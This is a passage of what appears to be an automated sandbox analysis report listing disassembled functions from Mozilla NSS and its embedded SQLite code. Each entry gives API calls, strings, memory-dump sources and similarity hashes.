_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0FE83

Part of subcall function 6CE0FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CE0FEFA
Part of subcall function 6CE0FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CE0FF3B

Strings

%s at line %d of [%.10s], xrefs: 6CE0FD73, 6CE0FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0FD64, 6CE0FE26
database corruption, xrefs: 6CE0FD6E, 6CE0FE30

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 8a83c3685cdaa7f0c2d249e3523a6453657b91a36eb561710ee7f0941f2ea81f
Instruction ID: 5028110f7da4e149fdf62621ab3104cfd4ffd73a6cbb818ffba201b87da86ada
Opcode Fuzzy Hash: 8a83c3685cdaa7f0c2d249e3523a6453657b91a36eb561710ee7f0941f2ea81f
Instruction Fuzzy Hash: 96516F75B002059FDB04CFA9C890AAEB7B1FF48318F244469EA05AB752E735EC61CBD5

Function 6CF52F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF52FFD
sqlite3_initialize.NSS3 ref: 6CF53007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF53032
sqlite3_mprintf.NSS3(6CFBAAF9,?), ref: 6CF53073
sqlite3_free.NSS3(?), ref: 6CF530B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF530C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF530BB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 4df6cee9f2c1175ba753d84f3139f51a7d8b93c279c83ac5e611fd0656e22854
Instruction ID: b64fa249d91142ef08a4bf3c11740c0bf5b2a85b47c6ab5f567b0198c285549b
Opcode Fuzzy Hash: 4df6cee9f2c1175ba753d84f3139f51a7d8b93c279c83ac5e611fd0656e22854
Instruction Fuzzy Hash: 14419272600706ABDB00CF29D880A8AB7F5FF54358F548628ED5987B40E731F969CBD1

Function 6CED5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CED5F0A
TlsGetValue.KERNEL32 ref: 6CED5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CED5F2F
PR_Unlock.NSS3(890008E8), ref: 6CED5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CED5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CED5F7D

Part of subcall function 6CED5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CED5F82,8B4274C0), ref: 6CED5248
Part of subcall function 6CED5220: EnterCriticalSection.KERNEL32(0F6CFA0D,?,6CED5F82,8B4274C0), ref: 6CED525C
Part of subcall function 6CED5220: PR_SetError.NSS3(00000000,00000000), ref: 6CED528E
Part of subcall function 6CED5220: PR_Unlock.NSS3(0F6CF9F1), ref: 6CED5299
Part of subcall function 6CED5220: free.MOZGLUE(00000000), ref: 6CED52A9

Strings

q]l, xrefs: 6CED5EDB, 6CED5F09

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: db610fb22f90eba5593755c70f0870fa5eae8904029c94719f7c270daa33a37b
Instruction ID: 0a214ef923659a95259b428e9f70815bbc65cf664d69ea4eda2874aa0c38e7bc
Opcode Fuzzy Hash: db610fb22f90eba5593755c70f0870fa5eae8904029c94719f7c270daa33a37b
Instruction Fuzzy Hash: F921B6F1D002045FDB109F68DC417EEBBB4EF09308F654029E905AB741EB31A955CBD2

Function 6CE98CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CEA124D,00000001), ref: 6CE98D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CEA124D,00000001), ref: 6CE98D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CEA124D,00000001), ref: 6CE98D73
PR_Unlock.NSS3(?,?,?,?,?,6CEA124D,00000001), ref: 6CE98D8C

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CEA124D,00000001), ref: 6CE98DBA

Strings

KRAM, xrefs: 6CE98CF9
KRAM, xrefs: 6CE98D3E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 773f3e2cc106b24aacd01991d69d32889345fe410f0d86c9dc8d7cee9c345b66
Instruction ID: 18478c9c869ff88a02a71ffe7b087c36ad4af16455ae7788e7b86119f74559da
Opcode Fuzzy Hash: 773f3e2cc106b24aacd01991d69d32889345fe410f0d86c9dc8d7cee9c345b66
Instruction Fuzzy Hash: A921A1B1A046018FDB50EF78C48465AB7F4FF45308F25896AD99887721EB35E882CB91

Function 6CEBACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CEBACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEBAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAD23

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEBAD39

Strings

hSession = 0x%x, xrefs: 6CEBACFE, 6CEBAD0E
C_MessageDecryptFinal, xrefs: 6CEBACE1
(CK_INVALID_HANDLE), xrefs: 6CEBAD1C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 27fe44850c5dac15544ff4a5520bd877ac43b5c92069b1e92d7e365ba6b28d6d
Instruction ID: 9f54bc18d4b49f1301e08e4aafa726bcc853023ffc4e4b30ee10d93ebc4c4d49
Opcode Fuzzy Hash: 27fe44850c5dac15544ff4a5520bd877ac43b5c92069b1e92d7e365ba6b28d6d
Instruction Fuzzy Hash: 55213A30A00108EFDF849B64DE88B7A7775AB4A70EF140429E909A7711DF359D09CB92

Function 6CF90ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF90EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF90EFA

Part of subcall function 6CE7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F2B

Strings

Aborting, xrefs: 6CF90EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF90ED9, 6CF90EE5, 6CF90F06, 6CF90F0B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: bf5942884b8626e7a9ac1cdc41ecbf470a2ce658e17fba81475a74c4113c1a97
Instruction ID: b020cba05fccd2fba567c9a30dde18787472e6e4df2301897caf6f5be7f9bd8d
Opcode Fuzzy Hash: bf5942884b8626e7a9ac1cdc41ecbf470a2ce658e17fba81475a74c4113c1a97
Instruction Fuzzy Hash: F001D2B6A10104BBEF01AFA4DC45E9B3F3CEF4A368B004025FD0A87711D671EA5087A2

Function 6CF71C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE74E1D), ref: 6CF71C8A
sqlite3_free.NSS3(00000000), ref: 6CF71CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6CF71C85
w=l, xrefs: 6CF71C44
an index, xrefs: 6CF71C67
a CHECK constraint, xrefs: 6CF71C76, 6CF71C81
a generated column, xrefs: 6CF71C6C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: fdb223fde9164428b4cf5736e2cee6f2316319b9f9dff1e4a064556afd83befc
Instruction ID: 51550e925759b429ffd787ecb0c61b50c23570d4ba43066fe696f49e501eb5df
Opcode Fuzzy Hash: fdb223fde9164428b4cf5736e2cee6f2316319b9f9dff1e4a064556afd83befc
Instruction Fuzzy Hash: 29014CB1A001404BD700BF68D4129B273E5EFC134CB15487DEC489BB02EB32E856C7A1

Function 6CF54D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF54DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF54DE0

Strings

invalid, xrefs: 6CF54DB8
%s at line %d of [%.10s], xrefs: 6CF54DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF54DCB
misuse, xrefs: 6CF54DD5
API call with %s database connection pointer, xrefs: 6CF54DBD

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: f538a2d830dcf659fd91b07b979f0ff9b1fd038b9b4b531f1a1eea044fc2c2b6
Instruction ID: c02059a50f833437a166b95d9de8d5bdecb2fd170b6841eebfbf656409483b49
Opcode Fuzzy Hash: f538a2d830dcf659fd91b07b979f0ff9b1fd038b9b4b531f1a1eea044fc2c2b6
Instruction Fuzzy Hash: 82F0B426A145646BD6014117CC10FD63B954F12319F9609A1EF08BBA52D717AC708395

Function 6CF54DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF54E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF54E4D

Strings

invalid, xrefs: 6CF54E25
%s at line %d of [%.10s], xrefs: 6CF54E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF54E38
misuse, xrefs: 6CF54E42
API call with %s database connection pointer, xrefs: 6CF54E2A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1d8ca6a06f88b374a8d0494d3d27268cbdc07c0d38b6ce12c05e9fbf5e831d57
Instruction ID: 9934c6149293a1e189a1fa2c1b6271998f9bfad9a4aa319039872fdb333d3666
Opcode Fuzzy Hash: 1d8ca6a06f88b374a8d0494d3d27268cbdc07c0d38b6ce12c05e9fbf5e831d57
Instruction Fuzzy Hash: 39F02715F449282BE61102279C14FC33B854B21329F9964A1EB0877E92D717AC7242D2

Function 6CE89FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE8A086
EnterCriticalSection.KERNEL32(?), ref: 6CE8A09B
PR_Unlock.NSS3(?), ref: 6CE8A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8A0E9
TlsGetValue.KERNEL32 ref: 6CE8A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE8A12F
PR_Unlock.NSS3(?), ref: 6CE8A148

Part of subcall function 6CEA1A40: PR_Now.NSS3(?,00000000,6CE828AD,00000000,?,6CE9F09A,00000000,6CE828AD,6CE893B0,?,6CE893B0,6CE828AD,00000000,?,00000000), ref: 6CEA1A65

Part of subcall function 6CEA1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CEA4126,?), ref: 6CEA1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8A1A3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 47d2583943db96c7238ba9fbe27eb287bbf8b7594b032c890705f9aa4c84ade5
Instruction ID: 7cdc27c500834edcc4fd5a6d0be1ee97d002c6828ade38c5031d4463a5380486
Opcode Fuzzy Hash: 47d2583943db96c7238ba9fbe27eb287bbf8b7594b032c890705f9aa4c84ade5
Instruction Fuzzy Hash: 2E51F4B2E416009BEB109F79CC44AAB77B8AF8630CB35412DEC1D97781EB31E846C691

Function 6CEC0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?,?,00000000,?,?), ref: 6CEC0CB3

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?), ref: 6CEC0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?), ref: 6CEC0DEC

Part of subcall function 6CEE0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE82AF5,?,?,?,?,?,6CE80A1B,00000000), ref: 6CEE0F1A
Part of subcall function 6CEE0F10: malloc.MOZGLUE(00000001), ref: 6CEE0F30
Part of subcall function 6CEE0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEE0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?), ref: 6CEC0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000), ref: 6CEC0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?), ref: 6CEC0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?,?,00000000), ref: 6CEC0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?), ref: 6CEC0E79

Part of subcall function 6CED1560: TlsGetValue.KERNEL32(00000000,?,6CEA0844,?), ref: 6CED157A
Part of subcall function 6CED1560: EnterCriticalSection.KERNEL32(?,?,?,6CEA0844,?), ref: 6CED158F
Part of subcall function 6CED1560: PR_Unlock.NSS3(?,?,?,?,6CEA0844,?), ref: 6CED15B2

Part of subcall function 6CE9B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CEA1397,00000000,?,6CE9CF93,5B5F5EC0,00000000,?,6CEA1397,?), ref: 6CE9B1CB
Part of subcall function 6CE9B1A0: free.MOZGLUE(5B5F5EC0,?,6CE9CF93,5B5F5EC0,00000000,?,6CEA1397,?), ref: 6CE9B1D2

Part of subcall function 6CE989E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE988AE,-00000008), ref: 6CE98A04
Part of subcall function 6CE989E0: EnterCriticalSection.KERNEL32(?), ref: 6CE98A15
Part of subcall function 6CE989E0: memset.VCRUNTIME140(6CE988AE,00000000,00000132), ref: 6CE98A27
Part of subcall function 6CE989E0: PR_Unlock.NSS3(?), ref: 6CE98A35

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: c26acae4cc8d984b26905e718347814a1d67796e9700d4f377c076443ef73c1e
Instruction ID: a117c1f0be540b818d37438eb57d18e9360bcd9d6cb77a369ca7f07954581398
Opcode Fuzzy Hash: c26acae4cc8d984b26905e718347814a1d67796e9700d4f377c076443ef73c1e
Instruction Fuzzy Hash: EE51A9F6E002015FEB009FA4DD41AAB37B89F0531CF250464EC199B712FB31ED1986A3

Function 6CE76E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE76ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE76EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE76FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE76FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE76FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE77010
sqlite3_value_blob.NSS3(?,?), ref: 6CE7701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE77052

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: de92cd9d5ae86b403d25591f0f75cb8b6d8d7f6df5b4f6e8868d24475c4c1e92
Instruction ID: e313394a677d0a506267d42c16fe62a900f36533e523d9a8813227618dd50013
Opcode Fuzzy Hash: de92cd9d5ae86b403d25591f0f75cb8b6d8d7f6df5b4f6e8868d24475c4c1e92
Instruction Fuzzy Hash: 9261B0B1E0420A8BDB25CF64D8017EEB7B6AF4530CF384169D815AB751E7329D16CBB0

Function 6CEE8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

